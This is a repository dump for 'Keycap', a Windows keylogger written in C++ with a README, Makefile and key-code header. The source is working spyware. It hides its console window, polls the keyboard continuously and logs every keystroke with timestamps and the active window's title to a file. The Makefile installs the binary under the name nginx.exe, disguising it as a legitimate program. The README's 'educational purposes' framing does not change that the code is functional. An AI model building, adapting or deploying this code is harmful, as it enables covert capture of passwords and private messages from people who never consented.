├── .gitattributes ├── Makefile ├── .pre-commit-config.yaml ├── .gitignore ├── LICENSE ├── README.md ├── keycap.cpp └── keycap.hpp /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | CC = g++ 2 | CFLAGS = -static -std=c++14 -Wall -Wextra -Werror -Weffc++ -pedantic-errors -fpermissive 3 | 4 | build: 5 | $(CC) $(CFLAGS) keycap.cpp -o dist/$@ 6 | 7 | run: build 8 | dist/keycap.exe 9 | 10 | install: 11 | cp dist/keycap.exe nginx.exe 12 | 13 | clean: 14 | $(RM) -rf *.exe 15 | -------------------------------------------------------------------------------- /.pre-commit-config.yaml: -------------------------------------------------------------------------------- 1 | repos: 2 | - repo: https://gitlab.com/daverona/pre-commit/cpp 3 | rev: 0.8.0 # use the most recent version 4 | hooks: 5 | - id: clang-format # formatter for C/C++ code based on a style guide 6 | args: [--style=Google] 7 | - id: cpplint # linter (or style-error checker) for Google C++ Style Guide 8 | - id: cppcheck # static analyzer for C/C++ code 9 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Prerequisites 2 | *.d 3 | 4 | # Compiled Object files 5 | *.slo 6 | *.lo 7 | *.o 8 | *.obj 9 | 10 | # Precompiled Headers 11 | *.gch 12 | *.pch 13 | 14 | # Compiled Dynamic libraries 15 | *.so 16 | *.dylib 17 | *.dll 18 | 19 | # Fortran module files 20 | *.mod 21 | *.smod 22 | 23 | # Compiled Static libraries 24 | *.lai 25 | *.la 26 | *.a 27 | *.lib 28 | 29 | # Executables 30 | *.exe 31 | *.out 32 | *.app 33 | 34 | *.lnk 35 | 36 | *.txt 37 | *.log 38 | *.rb -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2019-2022 Aakash Gajjar 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ![C++](https://img.shields.io/badge/c++-%2300599C.svg?style=for-the-badge&logo=c%2B%2B&logoColor=white) 2 | ![MIT](https://img.shields.io/badge/License-MIT-blue.svg?style=for-the-badge&logoColor=white) 3 | 4 | # Keycap - a keylogger for Windows 5 | 6 | ## Introduction 7 | 8 | Keycap is a simple keystroke logger for Windows XP or newer Windows desktop and server operating systems. It logs the pressed key along with the date and time of the press and the title of active window. 9 | 10 | > It is intended solely for educational purposes. Keycap is meant to demonstrate one approach to software based keyboard API logging. Keycap does not require system wide kernel hooks or other low-level integration. It can be executed by normal users. 11 | 12 | ## Compiling 13 | 14 | Keycap is written in `C++11` and uses a few Windows specific functions and types. Any modern `C++11` compiler that targets Windows should be able to build it. See `Makefile` for compiler settings used with MinGW (g++). 15 | 16 | If you prefer to use MSVC++, download the free Visual Studio Community Edition, create an empty Win32 Console Application project and add the Keycap files (one source, one header) to the project, then build. 17 | 18 | ## Character Notes 19 | 20 | The `|` character is used to separate fields in the output so that character is logged as the word 'pipe' rather than the character itself. Some Window titles may include the `|` character. Window titles are enclosed in quotations, however, additional `|` characters may cause parsing/rendering issues with certain csv parsing programs. If you record keystrokes to a file `Keycap.exe > log.csv`, be prepared to handle those issues. 21 | 22 | > Keycap does not log all characters/keys on a typical U.S. QWERTY keyboard. See if you can figure out what keys are missing and add them to the source, or modify the code to work with different keyboards and languages. 23 | 24 | ## MSDN Types & Keyboard API Notes 25 | 26 | - `short`: Holds signed 16-bit (2-byte) integers that range in value from `-32,768` through `32,767`. 27 | - `GetAsyncKeyState`: returns a short. 28 | - `HWND`: handle to a window. 29 | 30 | When `GetAsyncKeyState` returns, if the most significant bit is set, the key is down, and if the least significant bit is set, the key was pressed after the previous call to `GetAsyncKeyState`. (`-32768:1000000000000000`) (`-32767:1000000000000001`) 31 | 32 | In `keycap.hpp` some keys use constant names such as `VK_TAB` or `VK_RETURN` while other use the decimal (57) or hex (0x39) representation for keys. If you add keys, experiment with which form is accepted on your system. Some systems will take any form while others may only take one. 33 | 34 | ## Conclusion 35 | 36 | Remember that Keycap is meant solely for educational purposes and demonstration. It could be written very differently. The code is meant to be explicit and obvious so that it can be easily understood and modified. 37 | -------------------------------------------------------------------------------- /keycap.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (c) 2015 Richard B Tilley 3 | * 4 | * Permission to use, copy, modify, and distribute this software for any 5 | * purpose with or without fee is hereby granted, provided that the above 6 | * copyright notice and this permission notice appear in all copies. 7 | * 8 | * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES 9 | * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF 10 | * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR 11 | * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES 12 | * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN 13 | * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF 14 | * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. 15 | * 16 | * Keycap - A simple keystroke logger for Windows intended 17 | * for educational purposes and demonstration. 18 | * 19 | */ 20 | 21 | #include "keycap.hpp" 22 | 23 | #include 24 | 25 | #include // NOLINT [build/c++11] 26 | #include 27 | #include 28 | #include 29 | #include 30 | #include 31 | #include 32 | #include 33 | #include 34 | 35 | std::ofstream logfile; 36 | 37 | void openLogFile(char *filepath) { logfile.open(filepath); } 38 | 39 | bool isLogFileOpen() { return logfile.is_open(); } 40 | 41 | void closeLogFile() { 42 | if (isLogFileOpen()) logfile.close(); 43 | } 44 | 45 | void hideWindow() { 46 | /** 47 | * Sets the specified window's show state. 48 | * @param hWnd -> A handle to the window. 49 | * GetConsoleWindow() 50 | * Retrieves the window handle used by the console 51 | * associated with the calling process. 52 | * @param nCmdShow -> window visibility 53 | * 54 | */ 55 | 56 | HWND hWnd = GetConsoleWindow(); 57 | int nCmdShow = SW_HIDE; 58 | ShowWindow(hWnd, nCmdShow); 59 | } 60 | 61 | /** 62 | * Creates Timestamp 63 | * @return timestamp 64 | */ 65 | const tm *timestamp() { 66 | time_t ltime; 67 | struct tm *Tm; 68 | 69 | ltime = time(NULL); 70 | Tm = std::localtime(<ime); 71 | 72 | return Tm; 73 | } 74 | 75 | /** 76 | * Create directory and return filename to write the log 77 | * @param buffer filename to write 78 | * @param length length of the buffer 79 | */ 80 | void setupStreams(char *buffer, const int length) { 81 | const char *directory_fmt = "mkdir \"A:\\Logs\\Keys\\%Y\\%Y-%m\\\""; 82 | const char *filepath_fmt = "A:/Logs/Keys/%Y/%Y-%m/%Y-%m-%d_%H_%M_%S.log"; 83 | 84 | const struct tm *time = timestamp(); 85 | std::strftime(buffer, length, directory_fmt, time); 86 | system(buffer); 87 | std::cout << buffer; 88 | 89 | std::strftime(buffer, length, filepath_fmt, time); 90 | 91 | std::cout << "\n" << buffer; 92 | } 93 | 94 | /** 95 | * Logs keystrokes from keybooard and dumps to file 96 | * 97 | * This function sleeps for kSLEEP_IN_MILLSECONDS milliseconds to minimise 98 | * cpu usage. 99 | */ 100 | void startLogging() { 101 | const int kTIMESTAMP_STR_LENGTH = 32; 102 | const char *kTIMESTAM_STR_FMT = "%Y-%m-%d_%H:%M:%S"; 103 | const int kWINDOW_TITLE_LENGTH = 2048; 104 | const int kSLEEP_IN_MILLSECONDS = 10; 105 | 106 | logfile << "TIME|KEY|WINDOW\n"; 107 | 108 | std::chrono::time_point system_clock = 109 | std::chrono::system_clock::now(); 110 | 111 | std::map> keys = vk(); 112 | std::map>::const_iterator keyit; 113 | 114 | char *timestamp = (char *)calloc( // NOLINT [readability/casting] 115 | kTIMESTAMP_STR_LENGTH, sizeof(char)); 116 | std::string character_key; 117 | 118 | bool shift_key_is_pressed; 119 | 120 | // Windows handle & title 121 | HWND activeWindowHandler; 122 | 123 | TCHAR *activeWindowTitle = (TCHAR *)calloc( // NOLINT [readability/casting] 124 | kWINDOW_TITLE_LENGTH, sizeof(TCHAR)); 125 | 126 | while (true) { 127 | shift_key_is_pressed = false; 128 | activeWindowHandler = GetForegroundWindow(); 129 | 130 | for (keyit = keys.begin(); keyit != keys.end(); ++keyit) { 131 | system_clock = std::chrono::system_clock::now(); 132 | std::time_t system_time = 133 | std::chrono::system_clock::to_time_t(system_clock); 134 | std::strftime(timestamp, kTIMESTAMP_STR_LENGTH, kTIMESTAM_STR_FMT, 135 | std::localtime(&system_time)); 136 | 137 | std::int16_t key_state = GetAsyncKeyState(keyit->first); 138 | GetWindowText(activeWindowHandler, activeWindowTitle, 139 | kWINDOW_TITLE_LENGTH); 140 | 141 | // Shift key is down. MSB is set. 142 | if (key_state == -32768 && keyit->first == 16) { 143 | shift_key_is_pressed = true; 144 | } 145 | 146 | // Key state has changed. LSB is set. 147 | if (key_state == -32767) { 148 | if (shift_key_is_pressed) { 149 | // Handle Uppercase Characters 150 | logfile << timestamp << "|" << keyit->second[1] << "|\""; 151 | logfile << activeWindowTitle << "\"\n"; 152 | character_key = keyit->second[1]; 153 | } else { 154 | // Handle Lowercase Characters 155 | logfile << timestamp << "|" << keyit->second[0] << "|\""; 156 | logfile << activeWindowTitle << "\"\n"; 157 | character_key = keyit->second[0]; 158 | } 159 | } 160 | } 161 | 162 | // Sleep() requires WinXP or later (sleep 15 milliseconds) 163 | // Can be removed entirely to capture Yubikey, etc. 164 | // but may be CPU intensive 165 | Sleep(kSLEEP_IN_MILLSECONDS); 166 | } 167 | } 168 | 169 | /** 170 | * 171 | */ 172 | int main(int ARGC, char **ARGV) { 173 | hideWindow(); 174 | 175 | const int filename_length = 120; 176 | char *filename = (char *)calloc( // NOLINT [readability/casting] 177 | filename_length, sizeof(char)); 178 | 179 | std::cout << strlen(filename) << "\n" << filename; 180 | 181 | setupStreams(filename, filename_length); 182 | 183 | openLogFile(filename); 184 | 185 | /** 186 | * Register call to closeLogFile when the user exits 187 | */ 188 | std::atexit(closeLogFile); 189 | 190 | if (isLogFileOpen()) { 191 | std::cout << "Success\n"; 192 | } else { 193 | std::cerr << "Failed to open log file at" << filename; 194 | exit(0); 195 | } 196 | 197 | startLogging(); 198 | 199 | return 0; 200 | } 201 | -------------------------------------------------------------------------------- /keycap.hpp: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (c) 2015 Richard B Tilley 3 | * 4 | * Permission to use, copy, modify, and distribute this software for any 5 | * purpose with or without fee is hereby granted, provided that the above 6 | * copyright notice and this permission notice appear in all copies. 7 | * 8 | * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES 9 | * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF 10 | * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR 11 | * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES 12 | * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN 13 | * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF 14 | * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. 15 | * 16 | * main.hpp - List of virtual key-codes 17 | * http://msdn.microsoft.com/en-us/library/dd375731(VS.85).aspx 18 | * 19 | */ 20 | 21 | #ifndef KEYCAP_HPP_ 22 | #define KEYCAP_HPP_ 23 | 24 | #include 25 | 26 | #include 27 | #include 28 | #include 29 | #include 30 | 31 | #if _WIN32_WINNT < 0x0500 32 | #undef _WIN32_WINNT 33 | #define _WIN32_WINNT 0x0500 34 | #endif 35 | 36 | #if defined(WIN32) || defined(_WIN32) || defined(__WIN32__) || defined(__NT__) 37 | 38 | #pragma comment(lib, "user32.lib") 39 | 40 | #endif 41 | 42 | std::map> vk() { 43 | std::map> k; 44 | 45 | std::vector k1(2, " lmouse"); 46 | std::vector k2(2, " rmouse"); 47 | std::vector k4(2, " mmouse"); 48 | std::vector k8(2, " backspace"); 49 | std::vector k9(2, " tab"); 50 | 51 | k[VK_LBUTTON] = k1; // 0x01 52 | k[VK_RBUTTON] = k2; // 0x02 53 | k[VK_MBUTTON] = k4; // 0x04 54 | k[VK_BACK] = k8; // 0x08 55 | k[VK_TAB] = k9; // 0x09 56 | 57 | std::vector k12; 58 | k12.push_back(" clear"); 59 | k12.push_back(" CLEAR"); 60 | k[VK_CLEAR] = k12; // 0x0c 61 | 62 | std::vector k13; 63 | k13.push_back(" enter"); 64 | k13.push_back(" ENTER"); 65 | k[VK_RETURN] = k13; // 0x0d 66 | 67 | std::vector k16; 68 | k16.push_back(" shift"); 69 | k16.push_back(" SHIFT"); 70 | k[VK_SHIFT] = k16; // 0x10 71 | 72 | std::vector k17; 73 | k17.push_back(" ctrl"); 74 | k17.push_back(" CTRL"); 75 | k[VK_CONTROL] = k17; // 0x11 76 | 77 | std::vector k18; 78 | k18.push_back(" alt"); 79 | k18.push_back(" ALT"); 80 | k[VK_MENU] = k18; // 0x12 81 | 82 | std::vector k19; 83 | k19.push_back(" pause"); 84 | k19.push_back(" PAUSE"); 85 | k[VK_PAUSE] = k19; // 0x13 86 | 87 | std::vector k20; 88 | k20.push_back(" caps"); 89 | k20.push_back(" CAPS"); 90 | k[VK_CAPITAL] = k20; // 0x14 91 | 92 | std::vector k27; 93 | k27.push_back(" esc"); 94 | k27.push_back(" ESC"); 95 | k[VK_ESCAPE] = k27; // 0x1B 96 | 97 | std::vector k32; 98 | k32.push_back(" space"); 99 | k32.push_back(" SPACE"); 100 | k[VK_SPACE] = k32; // 0x20 101 | 102 | std::vector k33; 103 | k33.push_back(" pageup"); 104 | k33.push_back(" PAGEUP"); 105 | k[VK_PRIOR] = k33; // 0x21 106 | 107 | std::vector k34; 108 | k34.push_back(" pagedown"); 109 | k34.push_back(" PAGEDOWN"); 110 | k[VK_NEXT] = k34; // 0x22 111 | 112 | std::vector k35; 113 | k35.push_back(" end"); 114 | k35.push_back(" END"); 115 | k[VK_END] = k35; // 0x23 116 | 117 | std::vector k36; 118 | k36.push_back(" home"); 119 | k36.push_back(" HOME"); 120 | k[VK_HOME] = k36; // 0x24 121 | 122 | std::vector k37; 123 | k37.push_back(" leftarrow"); 124 | k37.push_back(" LEFTARROW"); 125 | k[VK_LEFT] = k37; // 0x25 126 | 127 | std::vector k38; 128 | k38.push_back(" uparrow"); 129 | k38.push_back(" UPARROW"); 130 | k[VK_UP] = k38; // 0x26 131 | 132 | std::vector k39; 133 | k39.push_back(" rightarrow"); 134 | k39.push_back(" RIGHTARROW"); 135 | k[VK_RIGHT] = k39; // 0x27 136 | 137 | std::vector k40; 138 | k40.push_back(" downarrow"); 139 | k40.push_back(" DOWNARROW"); 140 | k[VK_DOWN] = k40; // 0x28 141 | 142 | std::vector k41; 143 | k41.push_back(" select"); 144 | k41.push_back(" SELECT"); 145 | k[VK_SELECT] = k41; // 0x29 146 | 147 | std::vector k42; 148 | k42.push_back(" print"); 149 | k42.push_back(" PRINT"); 150 | k[VK_PRINT] = k42; // 0x2a 151 | 152 | std::vector k43; 153 | k43.push_back(" execute"); 154 | k43.push_back(" EXECUTE"); 155 | k[VK_EXECUTE] = k43; // 0x2b 156 | 157 | std::vector k44; 158 | k44.push_back(" printscreen"); 159 | k44.push_back(" PRINTSCREEN"); 160 | k[VK_SNAPSHOT] = k44; // 0x2c 161 | 162 | std::vector k45; 163 | k45.push_back(" insert"); 164 | k45.push_back(" INSERT"); 165 | k[VK_INSERT] = k45; // 0x2d 166 | 167 | std::vector k46; 168 | k46.push_back(" del"); 169 | k46.push_back(" DEL"); 170 | k[VK_DELETE] = k46; // 0x2e 171 | 172 | std::vector k47; 173 | k47.push_back(" help"); 174 | k47.push_back(" HELP"); 175 | k[VK_HELP] = k47; // 0x2f 176 | 177 | std::vector k48; 178 | k48.push_back("0"); 179 | k48.push_back(")"); 180 | k[48] = k48; // 0x30 181 | 182 | std::vector k49; 183 | k49.push_back("1"); 184 | k49.push_back("!"); 185 | k[49] = k49; // 0x31 186 | 187 | std::vector k50; 188 | k50.push_back("2"); 189 | k50.push_back("@"); 190 | k[50] = k50; // 0x32 191 | 192 | std::vector k51; 193 | k51.push_back("3"); 194 | k51.push_back("#"); 195 | k[51] = k51; 196 | 197 | std::vector k52; 198 | k52.push_back("4"); 199 | k52.push_back("$"); 200 | k[52] = k52; 201 | 202 | std::vector k53; 203 | k53.push_back("5"); 204 | k53.push_back("%"); 205 | k[53] = k53; 206 | 207 | std::vector k54; 208 | k54.push_back("6"); 209 | k54.push_back("^"); 210 | k[54] = k54; 211 | 212 | std::vector k55; 213 | k55.push_back("7"); 214 | k55.push_back("&"); 215 | k[55] = k55; 216 | 217 | std::vector k56; 218 | k56.push_back("8"); 219 | k56.push_back("*"); 220 | k[56] = k56; 221 | 222 | std::vector k57; 223 | k57.push_back("9"); 224 | k57.push_back("("); 225 | k[57] = k57; // 0x39 226 | 227 | std::vector k65; 228 | k65.push_back("a"); 229 | k65.push_back("A"); 230 | k[65] = k65; // 0x41 231 | 232 | std::vector k66; 233 | k66.push_back("b"); 234 | k66.push_back("B"); 235 | k[66] = k66; 236 | 237 | std::vector k67; 238 | k67.push_back("c"); 239 | k67.push_back("C"); 240 | k[67] = k67; 241 | 242 | std::vector k68; 243 | k68.push_back("d"); 244 | k68.push_back("D"); 245 | k[68] = k68; 246 | 247 | std::vector k69; 248 | k69.push_back("e"); 249 | k69.push_back("E"); 250 | k[69] = k69; 251 | 252 | std::vector k70; 253 | k70.push_back("f"); 254 | k70.push_back("F"); 255 | k[70] = k70; 256 | 257 | std::vector k71; 258 | k71.push_back("g"); 259 | k71.push_back("G"); 260 | k[71] = k71; // 0x47 261 | 262 | std::vector k72; 263 | k72.push_back("h"); 264 | k72.push_back("H"); 265 | k[72] = k72; 266 | 267 | std::vector k73; 268 | k73.push_back("i"); 269 | k73.push_back("I"); 270 | k[73] = k73; 271 | 272 | std::vector k74; 273 | k74.push_back("j"); 274 | k74.push_back("J"); 275 | k[74] = k74; 276 | 277 | std::vector k75; 278 | k75.push_back("k"); 279 | k75.push_back("K"); 280 | k[75] = k75; 281 | 282 | std::vector k76; 283 | k76.push_back("l"); 284 | k76.push_back("L"); 285 | k[76] = k76; 286 | 287 | std::vector k77; 288 | k77.push_back("m"); 289 | k77.push_back("M"); 290 | k[77] = k77; 291 | 292 | std::vector k78; 293 | k78.push_back("n"); 294 | k78.push_back("N"); 295 | k[78] = k78; 296 | 297 | std::vector k79; 298 | k79.push_back("o"); 299 | k79.push_back("O"); 300 | k[79] = k79; 301 | 302 | std::vector k80; 303 | k80.push_back("p"); 304 | k80.push_back("P"); 305 | k[80] = k80; 306 | 307 | std::vector k81; 308 | k81.push_back("q"); 309 | k81.push_back("Q"); 310 | k[81] = k81; 311 | 312 | std::vector k82; 313 | k82.push_back("r"); 314 | k82.push_back("R"); 315 | k[82] = k82; 316 | 317 | std::vector k83; 318 | k83.push_back("s"); 319 | k83.push_back("S"); 320 | k[83] = k83; 321 | 322 | std::vector k84; 323 | k84.push_back("t"); 324 | k84.push_back("T"); 325 | k[84] = k84; 326 | 327 | std::vector k85; 328 | k85.push_back("u"); 329 | k85.push_back("U"); 330 | k[85] = k85; 331 | 332 | std::vector k86; 333 | k86.push_back("v"); 334 | k86.push_back("V"); 335 | k[86] = k86; 336 | 337 | std::vector k87; 338 | k87.push_back("w"); 339 | k87.push_back("W"); 340 | k[87] = k87; 341 | 342 | std::vector k88; 343 | k88.push_back("x"); 344 | k88.push_back("X"); 345 | k[88] = k88; 346 | 347 | std::vector k89; 348 | k89.push_back("y"); 349 | k89.push_back("Y"); 350 | k[89] = k89; 351 | 352 | std::vector k90; 353 | k90.push_back("z"); 354 | k90.push_back("Z"); 355 | k[0x5A] = k90; // 0x5A 356 | 357 | std::vector k91; 358 | k91.push_back(" lwin"); 359 | k91.push_back(" LWIN"); 360 | k[0x5b] = k91; // 0x5b 361 | 362 | std::vector k92; 363 | k92.push_back(" rwin"); 364 | k92.push_back(" RWIN"); 365 | k[0x5c] = k92; // 0x5c 366 | 367 | // The numeric key pad 368 | std::vector k96(2, "0"); 369 | std::vector k97(2, "1"); 370 | std::vector k98(2, "2"); 371 | std::vector k99(2, "3"); 372 | std::vector k100(2, "4"); 373 | std::vector k101(2, "5"); 374 | std::vector k102(2, "6"); 375 | std::vector k103(2, "7"); 376 | std::vector k104(2, "8"); 377 | std::vector k105(2, "9"); 378 | std::vector k106(2, "*"); 379 | std::vector k107(2, "+"); 380 | std::vector k108(2, " separator_key"); 381 | std::vector k109(2, "-"); 382 | std::vector k110(2, "."); 383 | std::vector k111(2, "/"); 384 | 385 | k[VK_NUMPAD0] = k96; 386 | k[VK_NUMPAD1] = k97; 387 | k[VK_NUMPAD2] = k98; 388 | k[VK_NUMPAD3] = k99; 389 | k[VK_NUMPAD4] = k100; 390 | k[VK_NUMPAD5] = k101; 391 | k[VK_NUMPAD6] = k102; 392 | k[VK_NUMPAD7] = k103; 393 | k[VK_NUMPAD8] = k104; 394 | k[VK_NUMPAD9] = k105; 395 | k[VK_MULTIPLY] = k106; 396 | k[VK_ADD] = k107; 397 | k[VK_SEPARATOR] = k108; 398 | k[VK_SUBTRACT] = k109; 399 | k[VK_DECIMAL] = k110; 400 | k[VK_DIVIDE] = k111; 401 | 402 | std::vector k112; 403 | k112.push_back(" f1"); 404 | k112.push_back(" F1"); 405 | k[VK_F1] = k112; // 0x70 406 | 407 | std::vector k113; 408 | k113.push_back(" f2"); 409 | k113.push_back(" F2"); 410 | k[VK_F2] = k113; // 0x71 411 | 412 | std::vector k114; 413 | k114.push_back(" f3"); 414 | k114.push_back(" F3"); 415 | k[VK_F3] = k114; // 0x72 416 | 417 | std::vector k115; 418 | k115.push_back(" f4"); 419 | k115.push_back(" F4"); 420 | k[VK_F4] = k115; // 0x73 421 | 422 | std::vector k116; 423 | k116.push_back(" f5"); 424 | k116.push_back(" F5"); 425 | k[VK_F5] = k116; // 0x74 426 | 427 | std::vector k117; 428 | k117.push_back(" f6"); 429 | k117.push_back(" F6"); 430 | k[VK_F6] = k117; // 0x75 431 | 432 | std::vector k118; 433 | k118.push_back(" f7"); 434 | k118.push_back(" F7"); 435 | k[VK_F7] = k118; // 0x76 436 | 437 | std::vector k119; 438 | k119.push_back(" f8"); 439 | k119.push_back(" F8"); 440 | k[VK_F8] = k119; // 0x77 441 | 442 | std::vector k144; 443 | k144.push_back(" numlock"); 444 | k144.push_back(" NUMLOCK"); 445 | k[VK_NUMLOCK] = k144; // 0x90 446 | 447 | std::vector k186; 448 | k186.push_back(";"); 449 | k186.push_back(":"); 450 | k[VK_OEM_1] = k186; 451 | 452 | std::vector k187; 453 | k187.push_back("="); 454 | k187.push_back("+"); 455 | k[187] = k187; 456 | 457 | std::vector k188; 458 | k188.push_back(","); 459 | k188.push_back("<"); 460 | k[188] = k188; 461 | 462 | std::vector k189; 463 | k189.push_back("-"); 464 | k189.push_back("_"); 465 | k[189] = k189; 466 | 467 | std::vector k190; 468 | k190.push_back("."); 469 | k190.push_back(">"); 470 | k[190] = k190; 471 | 472 | std::vector k191; 473 | k191.push_back("/"); 474 | k191.push_back("?"); 475 | k[VK_OEM_2] = k191; // 0xBF 476 | 477 | std::vector k192; 478 | k192.push_back("`"); 479 | k192.push_back("~"); 480 | k[VK_OEM_3] = k192; 481 | 482 | std::vector k219; 483 | k219.push_back("["); 484 | k219.push_back("{"); 485 | k[VK_OEM_4] = k219; 486 | 487 | std::vector k220; 488 | k220.push_back("\\"); 489 | k220.push_back("pipe"); 490 | k[VK_OEM_5] = k220; 491 | 492 | std::vector k221; 493 | k221.push_back("]"); 494 | k221.push_back("}"); 495 | k[VK_OEM_6] = k221; 496 | 497 | std::vector k222; 498 | k222.push_back("'"); 499 | k222.push_back("\""); 500 | k[VK_OEM_7] = k222; // 0xDE 501 | 502 | return k; 503 | } 504 | 505 | #endif // KEYCAP_HPP_ 506 | --------------------------------------------------------------------------------